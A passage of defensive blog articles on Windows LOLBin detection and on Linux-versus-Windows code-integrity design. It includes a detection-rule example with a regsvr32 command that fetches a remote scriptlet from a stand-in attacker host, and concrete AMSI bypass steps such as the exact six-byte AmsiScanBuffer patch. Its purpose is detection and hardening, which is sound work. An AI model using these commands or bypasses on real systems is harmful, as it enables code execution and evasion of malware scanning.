The other under-discussed problem is the PowerShell special case. PowerShell is the most-abused script host in Windows by a wide margin, and yet powershell.exe is not on the App Control deny list and never has been. The reason is that Microsoft shipped a different answer specifically for PowerShell: Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), module logging (Event ID 4103), and over-the-shoulder transcription [@ms-ps-logging]. The PowerShell answer is instrument deeply, do not deny. For the rest of the LOLBAS catalog the answer is deny when feasible, detect otherwise. No published Microsoft criterion explains which strategy applies to a given binary; the choice is made one binary at a time inside Microsoft's security engineering organization.

If the problems remain open, what can a practitioner actually do tomorrow? The playbook is the next section.

11. A 2026 LOLBin Defense Playbook

Even with the structural ceiling, a 2026 Windows shop can do a great deal. The playbook below is in rough order of operational priority: top items pay the biggest defensive dividend per hour of administrator time.

Deploy App Control for Business in enforce mode with the Recommended Block Rules merged into the base policy. This is the single highest-value step. Microsoft Learn publishes the deny-list XML and a step-by-step merge guide [@ms-bypass-rules]. For organizations that want a wider net than the official list, the bohops/UltimateWDACBypassList community superset [@bohops-wdac] is the standard reference.
Where Smart App Control is eligible, enable it on clean-installed Windows 11 22H2+ endpoints. Document the silent-disable failure mode in your incident runbook so an unexpectedly disabled SAC instance gets a ticket instead of being ignored. A recent Windows cumulative update added an in-place re-enable path inside the Windows Security app, so a disabled SAC is no longer a wipe-and-reinstall event (see Section 10) [@ms-sac-support].
Apply the LOLBin-relevant ASR rules in block mode [@ms-asr-rules-ref]: Block all Office applications from creating child processes (1709+), Block executable content from email client and webmail (1709+), Block JavaScript or VBScript from launching downloaded executable content (1709+), Block use of copied or impersonated system tools (1709+), and Block process creations originating from PSExec and WMI commands (1803+). Coverage on Windows 11 24H2 is uniform.
Deploy SwiftOnSecurity's sysmon-config as a baseline [@swiftonsec]; consider olafhartong/sysmon-modular [@olafhartong] for tiered configuration. Tune the per-LOLBin detection patterns documented on each LOLBAS entry's Detection field. The Splunk Research analytic 25689101-012a-324a-94d3-08301e6c065a for renamed-LOLBin moves is a good starting point for SIEM rule design [@splunk-detection].
Write detection content for the canonical eight. Parent-child plus argument patterns for regsvr32, mshta, certutil, rundll32, bitsadmin, msbuild, installutil, and Microsoft.Workflow.Compiler.exe cover the bulk of real-world incidents. The Atomic Red Team test corpus for T1218.010 [@atomic-t1218] supplies ready-to-run validation payloads. Run them in audit mode against your detection content before relying on it in production.
Enable PowerShell script-block logging (Event ID 4104) and module logging (Event ID 4103). Constrained Language Mode activates automatically when an App Control policy is in enforce on the script file's location, so step 1 also pays for the PowerShell hardening.
Subscribe to LOLBAS GitHub releases. New entries arrive every few weeks. Put the Recommended Block Rules page on the SOC's monthly review cadence so that a new XML version is integrated within one patch cycle.
Map your detections to MITRE ATT&CK technique IDs. T1218 and its sub-techniques (.004, .005, .010, .011), T1127.001, T1216, T1197, T1140, and T1105 are the LOLBin-relevant nodes. The mapping lets the SOC coverage matrix and the LOLBAS catalog stay aligned.
For the driver class, enable HVCI on supported hardware. The Microsoft Vulnerable Driver Blocklist is enabled by default whenever HVCI, Smart App Control, or S mode is active [@ms-driver-blocklist]. Cross-reference loldrivers.io [@loldrivers] for SIEM rule input.

Note: Microsoft's own guidance is to deploy every new App Control policy in audit mode for two to four weeks before flipping to enforce. The audit-mode telemetry surfaces business-critical workflows that depend on otherwise-deniable binaries (the msbuild.exe developer-workstation case is the canonical example). The Recommended Block Rules deployment is no exception [@ms-bypass-rules].

A 2026 SOC's top-of-funnel LOLBin detection combines the parent-child pattern with argument inspection from Section 1, generalized across the canonical eight:

{` // The minimal cross-binary detection logic a SOC writes for the canonical // eight LOLBins. Each rule is a parent-child pair plus an argument regex. // Production rules add tuning fields (user-context allow-lists, signing // chain checks, network destination reputation), but this is the spine.

const RULES = [ { name: 'Squiblydoo (regsvr32)', parent: /(cmd|powershell|wscript|cscript|wmiprvse|winword|excel|outlook)\.exe$/i, child: /regsvr32\.exe$/i, args: /\/i:https?:/i }, { name: 'Mshta remote', parent: /(cmd|powershell|outlook|winword|excel)\.exe$/i, child: /mshta\.exe$/i, args: /(https?:|javascript:|vbscript:)/i }, { name: 'Certutil download', parent: /./i, child: /certutil\.exe$/i, args: /-urlcache.+-f\s+https?:/i }, { name: 'Bitsadmin transfer', parent: /./i, child: /bitsadmin\.exe$/i, args: /\/transfer\s+/i }, { name: 'Msbuild inline', parent: /(cmd|powershell|wscript|cscript)\.exe$/i, child: /msbuild\.exe$/i, args: /\.(csproj|xml|build)\b/i }, { name: 'InstallUtil /U', parent: /(cmd|powershell)\.exe$/i, child: /installutil\.exe$/i, args: /\/u\s+/i }, { name: 'Workflow.Compiler chain',parent: /.*/i, child: /(microsoft\.workflow\.compiler|wfc)\.exe$/i, args: /.+/i }, { name: 'Rundll32 COM', parent: /(cmd|powershell|wscript|cscript|winword|excel)\.exe$/i, child: /rundll32\.exe$/i, args: /(javascript:|url\.dll,fileprotocolhandler|shell32\.dll,shellexec_rundll)/i } ];

const event = { parentImage: 'C:\\Windows\\System32\\cmd.exe', image: 'C:\\Windows\\System32\\regsvr32.exe', commandLine: 'regsvr32 /s /n /u /i:http\u003a//attacker.example/x.sct scrobj.dll' }; console.log('Matched rules:', evaluate(event)); `}

For organizations operating under FedRAMP High or CMMC L3, the App Control for Business deployment is not optional. The controls that map to NIST SP 800-53 Rev. 5 controls AC-3 (access enforcement) and CM-7 (least functionality) [@nist-800-53-r5] effectively require a kernel-enforced application allow-list, and the Recommended Block Rules deny list is the published Microsoft baseline. The deployment work in step 1 of the playbook is therefore a compliance prerequisite as well as a security control. After deploying an App Control policy in audit mode, validate that the policy is loaded with `CiTool.exe -lp` on Windows 11 22H2+. Audit-mode block events appear in the *Microsoft-Windows-CodeIntegrity/Operational* event log as Event ID 3076 (would-block) and *AppLocker/MSI and Script* event log as Event ID 8003 (audit). Run a known-benign workflow for two weeks and review the would-block events before flipping the policy to enforce.

The playbook covers the controls Microsoft and the community ship today. The final pass is the set of misconceptions that survive even after the playbook: the FAQ.

12. Frequently Asked Questions and Closing

The structural argument leaves a small number of recurring questions that even an experienced Windows defender asks the first time they read the LOLBAS catalog end to end. The seven below are the ones that matter most.

No. An Authenticode signature is immutable per signed file: once a file is signed and shipped, the signature travels with the bytes forever. Revocation does not work by removing the signature. It works by adding the binary to a deny list that the loader checks alongside the signature. That deny list is the App Control Recommended Block Rules XML [@ms-bypass-rules]. There is no global mechanism by which Microsoft can retroactively "unsign" a binary that already exists on customer disks, because the binary's bytes have not changed. Because PowerShell Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), and module logging (Event ID 4103) [@ms-ps-logging] together constitute Microsoft's specific answer for PowerShell. The strategy is *instrument deeply, do not deny*. For the rest of the LOLBin catalog the strategy is *deny when feasible, detect otherwise*. The choice is made one binary at a time; no published Microsoft criterion explains when each applies. PowerShell is the only Microsoft-shipped example of the *instrument* strategy applied at full depth. Partially, and only on eligible endpoints (clean-installed Windows 11 22H2 or later, with sufficient device telemetry to keep SAC in *enforce* mode). SAC explicitly delegates LOLBin handling to the App Control Recommended Block Rules deny list -- the Microsoft Learn SAC overview page contains the verbatim sentence pointing administrators at *Application Control for Windows* for the LOLBin list [@ms-sac-overview]. SAC's enforcement model is reputation-and-AI, not deny-list. It silently disables itself on insufficient signal. Until recently the only fix was to reinstall Windows; a recent Windows cumulative update added an in-place re-enable path inside the Windows Security app [@ms-sac-support], but the silent disable itself remains (see Section 10). Yes. As of May 26, 2026, the repository is receiving regular pull requests, has 8,567 stars and 1,135 forks per the GitHub API [@lolbas-org-api], and the editorial maintainers (Moe, Bayne, Richard, Spehn, Somerville, Beukema, Hernandez) are actively reviewing submissions. The catalog has grown from 130 binaries at the original 2018 founding to 207 in the May 2026 enumeration. New entries arrive every few weeks. Yes. The LOLDrivers project at `loldrivers.io` [@loldrivers] catalogs vulnerable signed kernel drivers -- the driver-class analogue of LOLBAS. Microsoft's own Vulnerable Driver Blocklist is enabled by default when HVCI, Smart App Control, or S mode is active [@ms-driver-blocklist]. GTFOBins at `gtfobins.github.io` [@gtfobins] is the Unix analogue, cataloging vendor-shipped utilities on Linux and BSD with attacker-useful side effects. The three projects share the same conceptual move applied to different trust surfaces. No. The LOLBAS README itself attributes the project's foundational talk to Oddvar Moe's *#LOLBins -- Nothing to LOL about!* at DerbyCon 8 in October 2018 [@youtube-moe-lolbins] [@derbycon8-moe]. The 2017 BlueHat IL talk by Matt Graeber and Casey Smith [@bluehat-il-mirror] is one earlier intellectual ancestor, and the canonical *misplaced trust* framing was named the following year in Matt Graeber and Lee Christensen's *Subverting Trust in Windows* at TROOPERS 2018 [@specterops-subverting-trust]; both predate the LOLBAS catalog and neither is the project's founding event. Several secondary sources conflate the talks; the primary attribution chain is the LOLBAS README. Merge the App Control Recommended Block Rules XML into a managed App Control base policy and roll it out in audit mode for two to four weeks before flipping to enforce [@ms-bypass-rules]. The audit-mode telemetry surfaces the legitimate-but-rare workflows that would break under enforce; the enforce-mode policy then denies roughly 40 of the highest-impact LOLBins by default. Given the Cybereason Q3 2025 finding that 17 percent of investigations involved LOLBins [@cybereason-q3-2025], the effort pays for itself within the first quarter after deployment.

Closing

Every Windows binary that ships with a Microsoft signature is a LOLBin candidate, because the signature trust axis is orthogonal to the behavior trust axis. That gap was designed into Authenticode in 1996, inherited by AppLocker in 2009, made unignorable by Casey Smith's Squiblydoo in 2016, catalogued by Oddvar Moe and the LOLBAS maintainers starting in 2018, and partially fenced off by Microsoft's App Control Recommended Block Rules between 2017 and 2024. The class will be there when the next reader of this article shows up. Closing it would require either rebuilding the Windows system-administration model or attaching behavioral capability descriptions to every signed Microsoft binary on disk. Microsoft has published no roadmap for either, and the installed base could not absorb either without breaking decades of administrative tooling.

The honest defender's posture is therefore not to ask when will Microsoft fix this? but how thin can the layered SOTA make the residual?. The answer in 2026 is thinner than it was in 2016, but the gap between LOLBAS and the Recommended Block Rules (Section 8) is not going to close. Subscribe to the LOLBAS repository [@lolbas-github]. Bookmark the Recommended Block Rules page [@ms-bypass-rules]. Treat the next entry the catalog ships as a detection-engineering task to schedule, not a Microsoft bug to wait on.

Two Routes to Code Integrity: Linux IMA + AppArmor vs Windows WDAC + AMSI

noreply@paragmali.com (Parag Mali) — Sat, 16 May 2026 00:00:00 GMT

Linux and Windows have spent fifteen years answering the same question -- "is this code allowed to run?" -- and arrived at radically different architectures. Linux composes half a dozen narrow kernel modules (IMA, EVM, AppArmor, SELinux, fs-verity, IPE) plus a userspace daemon (`fapolicyd`); Windows ships one integrated suite (App Control + HVCI + AMSI + Smart App Control). Both stacks shipped their v1 with the **check in the wrong place**, and the architectural pivots that fixed it -- EVM's HMAC-sealed xattrs, HVCI's hypervisor-isolated verifier, IPE's property-based decisions -- are the breakthrough lesson of this comparison. Crypto is solved. Trust-boundary protection and policy expressiveness are not, and Rice's theorem says they never fully will be.

1. Two bypasses, same architectural shape

On a Windows 11 desktop, an attacker with a PowerShell session under their control can blind Microsoft Defender to every script that session ever evaluates by overwriting six bytes inside one function in amsi.dll. The Antimalware Scan Interface, the in-process bridge between scripting hosts and the registered antivirus product, dutifully reports "clean" on every subsequent buffer because the prologue of AmsiScanBuffer has been patched to mov eax, 0; ret (B8 00 00 00 00 C3).

The interface ships exactly as Microsoft documents it, and the function still has the signature in MSDN [@learn-microsoft-com-amsi-amsiscanbuffer]: the attacker did not need to break anything. They needed only to write into the address space they already owned.

On a Linux server, a different attacker with offline access to the disk -- recovered from a stolen laptop, a forensics image, a hostile cloud-provider snapshot -- mounts the filesystem and rewrites a system binary together with the file's security.ima extended attribute. When the box boots, the kernel's Integrity Measurement Architecture hashes the binary at exec time, compares the hash to the value stored in security.ima, sees a match, and allows execution. Without the Extended Verification Module, IMA appraisal has no defence against this offline-rewrite attack [@lwn-net-articles-394170] -- the reference hash is sitting next to the file the attacker just replaced.

Both operating systems claim fail-closed code-integrity enforcement. Both lose to a single architectural mistake about where the check runs. The mistakes are different in detail and identical in shape: the verifier is reachable by the attacker. On Windows the attacker shares the script host's address space with the scanner. On Linux the attacker shares the on-disk container with the reference hash.

This article exists to make that symmetry visible. The two stacks reached their 2026 form by very different routes -- Linux composes six narrow Linux Security Modules and one userspace daemon, Windows ships one tightly-coupled product line -- but the breakthroughs on each side answered the same question: how do you move the verifier out of reach?

The Linux answer was EVM (HMAC the extended attributes that IMA depends on) and IPE (decide on immutable file properties rather than file contents). The Windows answer was HVCI (lift the kernel-mode code-integrity check into a hypervisor-isolated secure kernel). The names are different. The lesson is one.

Why did Linux and Windows arrive at such different architectures in the first place? That story starts in an IBM research lab in 2003.

2. The question both operating systems are trying to answer

Both lineages exist to answer one question -- "is this code allowed to run?" -- but they put the check in completely different places. Before we can compare them honestly, we need a shared vocabulary for the three layers any production code-integrity stack must cover.

The first layer is code integrity itself, often abbreviated CI: a gate on the file's content or its signer. Did this .so come from a package my distribution signed? Does this .exe match an Authenticode chain rooted in a publisher my policy trusts? The answer is binary. The hook fires before the process loads the bytes.

The second layer is mandatory access control, or MAC. Now the process is running. What can it do? Can nginx open /etc/shadow? Can mshta.exe spawn cmd.exe? MAC is enforced by the kernel above discretionary access control and cannot be overridden by userspace privileges.

A kernel-enforced policy layer above traditional discretionary access control (DAC). Unlike DAC, where the file owner sets permissions, MAC policy is set by the system administrator and applied uniformly to all processes; no user, including root, can override it without changing the policy itself.

The third layer is content inspection: gating not on the file but on the buffer the interpreter is about to evaluate. The PowerShell engine has just deobfuscated a long string into a script block. Is the script block malicious? Linux has no production equivalent. Windows ships AMSI [@learn-microsoft-com-interface-portal] for exactly this.

Where each operating system puts these checks tells you almost everything about its architectural philosophy.

Linux puts every check on a Linux Security Module hook [@kernel-org-security-lsmhtml]. IMA registers at bprm_check (the kernel hook that fires when a binary is about to be executed), file_mmap with MAY_EXEC, module_check, firmware_check, and kexec_*. AppArmor and SELinux register at the syscall-level access hooks. fapolicyd rides on top of fanotify. IPE hooks op=EXECUTE. The kernel is the trust boundary, and every mechanism is a polite tenant inside it.

The kernel framework, merged into Linux 2.6.0 in December 2003, that hosts pluggable security modules at well-defined hook points in the kernel. LSMs include SELinux, AppArmor, Smack, Tomoyo, IMA, EVM, IPE, BPF LSM, and Landlock; multiple modules can coexist via "LSM stacking".

Windows takes the opposite path. The PE loader is the gate for user-mode code integrity (UMCI). The kernel-mode code-integrity check is, in the modern stack, moved out of the normal kernel into a small secure kernel running on top of Hyper-V -- Hypervisor-protected Code Integrity, HVCI [@learn-microsoft-com-code-integrity]. The script broker runs in-process with each scripting host. Cloud reputation is consulted via the Intelligent Security Graph and exposed to consumers as Smart App Control.

A monotonically extendable hash register inside a Trusted Platform Module. New measurements are folded in with `PCR_new = SHA256(PCR_old || measurement)`. Once extended, the value cannot be rolled back without resetting the TPM. IMA extends file-content hashes into PCR 10; the Windows Measured Boot chain uses PCRs 0-7 and 11-14.

The architectural philosophy comes down to a sentence each. Linux trusts the kernel surface and packs every integrity mechanism into it as a separate LSM. Windows trusts a hypervisor-isolated secure kernel and uses it to host the integrity logic the normal kernel cannot be trusted to run honestly.

flowchart LR subgraph CI[Code integrity: gate on file content or signer] direction TB L_IMA[Linux: IMA + EVM] L_IPE[Linux: IPE] L_FSV[Linux: fs-verity] L_FAP[Linux: fapolicyd] W_WDAC[Windows: App Control / WDAC] W_HVCI[Windows: HVCI / Memory Integrity] W_SAC[Windows: Smart App Control] end subgraph MAC[Mandatory access control: gate on running process behaviour] direction TB L_AA[Linux: AppArmor] L_SE[Linux: SELinux] W_NONE[Windows: no direct analogue, closest is AppContainer / ASR] end subgraph CS[Content inspection: gate on the buffer the interpreter will evaluate] direction TB W_AMSI[Windows: AMSI] L_GAP[Linux: no production equivalent] end CI --> MAC --> CS

Neither stack started this way. The 2026 stack on each side is the accumulated answer to fifteen years of failures. Here is how they grew up.

3. Two genesis stories

In 2003, four IBM researchers at the T. J. Watson Research Center -- Reiner Sailer, Xiaolan Zhang, Trent Jaeger, and Leendert van Doorn -- tried to convince the USENIX Security community that you could prove the integrity of a Linux web server to a remote verifier. Their paper, Design and Implementation of a TCG-based Integrity Measurement Architecture [@usenix-org-tech-sailerhtml], shipped at the 13th USENIX Security Symposium in 2004. It proposed hashing every executable file at load time, extending each hash into a TPM platform configuration register, and sending the resulting measurement list to a remote verifier who could compare it to a known-good manifest.

The performance evaluation [@usenix-org-sailerhtml-node19html] measured the cost on an IBM Netvista with a 2.4 GHz Pentium 4: the file_mmap LSM hook added 0.08 microseconds per call on a cache hit, and SHA-1 fingerprinting ran at roughly 80 MB/s. The headline claim was that more than 99.9% of measure calls landed on the cached path, so the overhead was essentially free.Pentium 4-era SHA-1 at 80 MB/s vs Ice Lake-era SHA-NI-accelerated SHA-256 at roughly 2 GB/s per core: a 25x throughput jump in twenty years. The original paper's qualitative finding -- cache hit dominates, overhead is negligible -- holds even more strongly on modern silicon.

It took five years for that proposal to reach the kernel. IMA's measurement-only mode was merged in Linux 2.6.30 in June 2009. It hashed files at bprm_check, file_mmap, and module_check, extended TPM PCR 10, and otherwise let everything run.

The "is this hash allowed?" question would have to wait three more years. The Extended Verification Module landed in Linux 3.2 in January 2012; digital-signature mode for EVM followed in 3.3 in March 2012; and IMA-appraise, the enforcement extension that finally let the kernel return -EPERM when a file's hash did not match security.ima, merged in Linux 3.7 in December 2012 [@lwn-net-articles-488906]. The same LWN article frames the cadence plainly: "Much of IMA was added to the kernel in 2.6.30, but another piece, the extended verification module (EVM) was not merged until 3.2 ... Digital signature support was added to EVM in 3.3, and IMA appraisal is currently under review." Mimi Zohar's appraisal patchset [@lwn-net-articles-487700] is the canonical lore.kernel.org artifact of that final step.

AppArmor took a different, longer road. It was born inside Immunix in 1998 under the name "SubDomain", a path-based confinement layer designed to stop privilege-escalation exploits from doing anything the binary's profile did not name. Novell acquired Immunix in 2005, renamed SubDomain to AppArmor, and shipped it as the default mandatory access control layer on SLES and openSUSE. According to the Ubuntu AppArmor wiki [@wiki-ubuntu-com-apparmor], "AppArmor support was first introduced in Ubuntu 7.04, and is turned on by default in Ubuntu 7.10 and later" -- so by October 2007 AppArmor was already a default-on production MAC on the most-deployed Linux desktop distribution.

Mainlining did not happen until October 2010, when AppArmor finally landed in Linux 2.6.36 [@docs-kernel-org-lsm-apparmorhtml]. Seven years out of tree, three years default-on in Ubuntu, before the kernel community accepted it.

The contrast with SELinux [@en-wikipedia-org-security-enhancedlinux] is sharp. SELinux merged into Linux 2.6.0 in December 2003 -- barely a year after the LSM framework was created. SELinux was, in fact, the reason the LSM framework existed.

SELinux's type-enforcement model maps directly to LSM's "label the subject, label the object, look up the rule" hook signature. AppArmor's path-based reasoning does not. LSM hooks see inodes, not paths -- and an inode can be reached from many paths (bind mounts, hard links, namespace games, chroots). To merge, AppArmor had to push kernel-side helpers like `vfs_path_lookup` and `d_absolute_path` upstream so it could reconstruct the absolute path of the object at hook time. The conceptual fight took three rejected merge attempts and seven years. The lesson is one Linux kernel reviewers have repeated since: a security model is not just an algorithm, it is a commitment to a particular kind of name-resolution semantics.

The Windows lineage starts in a different building entirely. AppLocker shipped with Windows 7 and Windows Server 2008 R2 in 2009: a user-mode-only allowlist, with no hypervisor or kernel-mode backing, and rules tied to file paths, publishers, or hashes. AppLocker is still supported on modern Windows but "isn't getting new feature improvements" [@learn-microsoft-com-applocker-overview]; the modern successor is App Control for Business.

Windows 10 RTM (version 1507, July 2015) shipped the first version of Device Guard along with AMSI [@learn-microsoft-com-interface-portal] and PowerShell 5.0, which integrated with AMSI from day one. Device Guard became known as Windows Defender Application Control (WDAC) and then, in 2024, was renamed once more to App Control for Business. User-mode code integrity (UMCI) became a policy option, FilePath rules were added in Windows 10 version 1903 [@learn-microsoft-com-applocker-overview], multiple-policy authoring landed in the same release, and Smart App Control made its consumer debut in Windows 11 22H2 in September 2022 [@blogs-windows-com-2022-update].

gantt title Linux and Windows code-integrity timeline dateFormat YYYY-MM axisFormat %Y section Linux SELinux mainline 2.6.0 :2003-12, 12M AppArmor at Immunix :1998-01, 84M AppArmor default in Ubuntu :2007-10, 36M IMA mainline 2.6.30 :2009-06, 32M EVM mainline 3.2 :2012-01, 2M EVM digital sigs 3.3 :2012-03, 9M IMA-appraise 3.7 :2012-12, 24M AppArmor mainline 2.6.36 :2010-10, 14M fs-verity 5.4 :2019-11, 60M IPE 6.12 :2024-11, 12M section Windows AppLocker (Win 7) :2009-10, 70M Device Guard + AMSI + PowerShell 5 (1507) :2015-07, 25M WDAC UMCI (1709) :2017-10, 18M FilePath rules + multi-policy (1903) :2019-05, 24M HVCI broadens (Win 10 1607+) :2016-08, 60M Smart App Control (Win 11 22H2) :2022-09, 24M App Control for Business rename :2024-01, 12M

Two timelines, two design philosophies, both shipping their v1 with the same kind of mistake. The next section makes that concrete.

4. Where the naive approach breaks

Both stacks shipped their first version with the check in the wrong place. Two stories make this concrete; two more refine it.

Story A: IMA-as-shipped (2009) without EVM

When IMA reached the kernel in Linux 2.6.30, it hashed the file at bprm_check and stored the reference hash in the file's security.ima extended attribute. That is what an attacker with offline disk access needs to defeat the check, and exactly nothing else. Mount the filesystem from another box, swap the binary for a malicious one, recompute the SHA over the new binary, write the new value into security.ima. Boot the box. The kernel hashes the malicious binary at exec, reads the matching xattr the attacker just wrote, and lets the syscall through.

This is the offline-tampering attacker model EVM was designed to defeat. The contemporaneous LWN coverage put it plainly: "IMA can be subverted by 'offline' attacks, where file data or metadata is changed out from under IMA. Mimi Zohar has proposed the extended verification module (EVM) patch set as a means to protect against these offline attacks." [@lwn-net-articles-394170]

The EVM v5 patchset [@lwn-net-articles-443038], posted by Zohar in May 2011, describes the design directly: "Extended Verification Module (EVM) detects offline tampering of the security extended attributes (e.g. security.selinux, security.SMACK64, security.ima) ... initial method maintains an HMAC-sha1 across a set of security extended attributes, storing the HMAC as the extended attribute 'security.evm'."

Story B: AMSI as shipped (2015) inside the script host

AMSI's design is documented in How AMSI helps you defend against malware [@learn-microsoft-com-amsi-helps]: "Script (malicious or otherwise), might go through several passes of de-obfuscation. But you ultimately need to supply the scripting engine with plain, un-obfuscated code. And that's the point at which you invoke the AMSI APIs."

A scripting host -- PowerShell, WSH, MSHTA, Office VBA, the UAC installer dialog -- calls AmsiInitialize, then for every plain-text script buffer it is about to execute calls AmsiScanBuffer [@learn-microsoft-com-amsi-amsiscanbuffer] or AmsiScanString. The call is routed through amsi.dll, loaded into the host process, which dispatches to the registered IAntimalwareProvider COM server. Defender is the default provider.

The detection logic is sound. The trust boundary is not. The attacker already controls the script host. Three single-shot bypass techniques have lived in red-team toolkits since 2016:

Patch AmsiScanBuffer's prologue in memory to mov eax, 0; ret (B8 00 00 00 00 C3). Six bytes of opcode rewrite, no syscalls required, blinds the scanner permanently for this process.
Set System.Management.Automation.AmsiUtils.amsiInitFailed = true via reflection. PowerShell checks the flag on every scan path and short-circuits.
Unload amsi.dll via FreeLibrary. There is no scanner left to call.

Microsoft tracks this so closely that its own "Applications that can bypass App Control" [@learn-microsoft-com-bypass-appcontrol] deny list calls out the AMSI-bypass-capable versions of system.management.automation.dll by hash. The defender's authoritative list of files-to-block treats specific signed Microsoft DLLs as named threats.The same Microsoft bypass list also enumerates mshta.exe, wscript.exe, cscript.exe, msbuild.exe, Microsoft.Build.dll, windbg.exe, cdb.exe, kd.exe, dotnet.exe, csi.exe, rcsi.exe, addinprocess.exe, wmic.exe, bash.exe, wsl.exe, runscripthelper.exe, and dozens of others -- 40+ entries today, growing whenever a new Microsoft-signed binary turns out to host an attacker-friendly evaluator.

Note: The host process making the AMSI call is the same process the attacker is running in. Any defence-in-depth plan that treats AMSI as a hard control is mis-specified. Treat AMSI as a high-quality telemetry surface feeding Defender for Endpoint and EDR pipelines; budget for the bypass.

{` // In Windows, AMSI scans each plain-text script buffer just before // the scripting engine evaluates it. The scanner lives in amsi.dll, // loaded into the script host process. The attacker who controls // that process can rewrite the function's first few bytes. // // This toy model shows the consequence: once "patched", the scanner // returns CLEAN regardless of input, and the assertion below holds // for every possible payload.

const AMSI_RESULT_CLEAN = 0; const AMSI_RESULT_MALWARE = 32768;

function amsiScanBuffer(buf, patched) { if (patched) return AMSI_RESULT_CLEAN; if (buf.includes("Invoke-Mimikatz")) return AMSI_RESULT_MALWARE; return AMSI_RESULT_CLEAN; }

console.log("Normal mode:"); console.log(" clean payload: ", amsiScanBuffer("Get-Process", false)); console.log(" malicious payload:", amsiScanBuffer("Invoke-Mimikatz", false));

console.log("\nAfter six-byte patch:"); console.log(" clean payload: ", amsiScanBuffer("Get-Process", true)); console.log(" malicious payload:", amsiScanBuffer("Invoke-Mimikatz", true));

// The takeaway: no input ever produces MALWARE once the scanner is patched. // Strengthening AMSI's signature engine cannot fix this. The scanner // must move out of the script host's address space. `}

Story C: WDAC's "trust all Microsoft-signed code" anti-pattern

A WDAC policy that trusts code signed by Microsoft also trusts every binary Microsoft has ever signed. That set includes mshta.exe, wscript.exe, cscript.exe, msbuild.exe, wmic.exe, system.management.automation.dll, and the 40-plus other binaries enumerated on Microsoft's own App Control bypass list [@learn-microsoft-com-bypass-appcontrol]. The LOLBAS community catalogue [@lolbas-project-github-io] widens the field to roughly 200 living-off-the-land binaries with explicit MITRE ATT&CK technique mappings.

The pattern is structural: WDAC grants trust at signer granularity (a chain rooted at "Microsoft Corporation"); attackers exploit at binary granularity (the specific mshta.exe that will happily evaluate an HTA blob containing a PowerShell stager). Any non-trivial WDAC policy must therefore contain explicit hash-level denies for the known-bad versions, and must keep growing those denies as Microsoft ships new signed binaries.

Story D: fapolicyd's permissive-window failure

fapolicyd [@access-redhat-com-fapolicydsecurity-hardening] is the Red Hat userspace allowlister. It sits on the fanotify permission channel and answers "may this open or exec proceed?" against a compiled rule database. It does not have IMA's offline-tampering problem because trust is inherited from the RPM database: "An application is trusted when the system package manager correctly installs it and therefore registered in the system RPM database. The fapolicyd daemon uses the RPM database as a list of trusted binaries and scripts."

What it does have is an operational footgun. Setting permissive=1 "just for troubleshooting" silently disables enforcement. Terminating the daemon causes the kernel to fail open after the fanotify response timeout. The architectural choice -- userspace daemon over kernel-mode hook -- is what makes both failure modes possible.

Key idea: The check was strong. The boundary protecting the check was weak. On IMA-as-shipped the reference hash sat next to the file the attacker rewrote. On AMSI the scanner sat inside the process the attacker controlled. On WDAC the trust grant was wider than the exploitation unit. On fapolicyd the verifier was a userspace process that could be terminated. Four different stacks, four different boundary failures, one identical lesson.

Bypass class	Stack	Concrete example	Root cause
Offline metadata swap	IMA without EVM	Rewrite binary and matching `security.ima` xattr from rescue media	Reference value stored next to the file under attacker control
In-process scanner patch	AMSI in PowerShell	`mov eax, AMSI_RESULT_CLEAN; ret` over `AmsiScanBuffer` prologue	Scanner shares address space with the script host the attacker runs in
Signer-vs-binary mismatch	WDAC Publisher rules	Allow Microsoft-signed code, attacker runs `mshta.exe`	Trust grant is coarser than the exploitable unit
Daemon liveness	fapolicyd	Terminate `fapolicyd` or set `permissive=1`	Verifier is a userspace process with no kernel-rooted backstop

Each of these failures has the same shape: the check was strong, the boundary protecting the check was weak. Both operating systems noticed, and fixed it in 2012 and 2016 in very different ways. Both fixes followed the same principle.

5. The architectural pivots

Both lineages reached the same conclusion at the same time: strengthen the boundary, not the check. Each pivot moved the trust boundary outward, beyond the place the attacker could reach.

EVM (Linux 3.2, January 2012): the xattrs become non-forgeable

The Extended Verification Module computes an HMAC over the security-relevant extended attributes -- security.ima, security.selinux, security.SMACK64, security.apparmor, security.capability -- plus inode metadata (UID, GID, mode, generation), and stores the result in security.evm. The HMAC key is loaded into the kernel keyring at boot, ideally sealed to a TPM 2.0 PCR set so the key is not retrievable except on a machine whose boot state matches the sealing measurement. The kernel keyring documentation for trusted and encrypted keys [@kernel-org-trusted-encryptedhtml] describes the substrate.

An offline attacker with disk access still cannot forge security.evm without the HMAC key. Digital-signature mode (EVM portable signatures, Linux 3.3) gives the same guarantee without any on-box key material. The check did not get cryptographically stronger: HMAC-SHA256 was not new in 2012. What changed was that the reference value the check consults moved from "an xattr next to the file" to "an xattr whose integrity is bound to a key the attacker does not have". Red Hat documents the modern setup in Enhancing security with the kernel integrity subsystem [@access-redhat-com-subsystemsecurity-hardening].

The Linux integrity module that protects the security-relevant extended attributes IMA depends on. EVM computes an HMAC (or digital signature) over the xattr set plus inode metadata and stores it in `security.evm`. Without the EVM key, an offline attacker cannot rewrite a binary and its matching `security.ima` to produce a valid pair. sequenceDiagram participant App as User app participant K as Kernel participant FS as Filesystem participant IMA as IMA participant EVM as EVM participant TPM as TPM keyring App->>K: execve("/usr/bin/foo") K->>IMA: bprm_check hook IMA->>FS: read file bytes IMA->>IMA: compute SHA-256 IMA->>FS: read security.ima xattr IMA->>EVM: verify xattr integrity EVM->>FS: read security.evm and full xattr set EVM->>TPM: HMAC key from keyring (sealed to PCRs) EVM->>EVM: recompute HMAC over xattr set + inode meta alt HMAC matches and IMA hash matches EVM-->>IMA: ok IMA-->>K: allow K-->>App: exec proceeds else mismatch EVM-->>IMA: -EPERM IMA-->>K: deny K-->>App: -EPERM end

IMA-appraise (Linux 3.7, December 2012): from observation to enforcement

The merge cadence on the kernel side is itself part of the story. Measurement-only IMA shipped in 2.6.30 in 2009. EVM merged in 3.2 in January 2012. EVM digital signatures merged in 3.3 in March 2012. IMA-appraise, which finally lets the kernel return -EPERM on a hash mismatch, merged in Linux 3.7 in December 2012 [@lwn-net-articles-488906]. Three and a half years from "we hash files" to "we refuse to run files that fail the hash". The gap was not engineering laziness; it was the time it took to design and merge the boundary-strengthening pieces that made enforcement safe to enable.

HVCI / Memory Integrity (Windows 10 1607, August 2016): the secure kernel

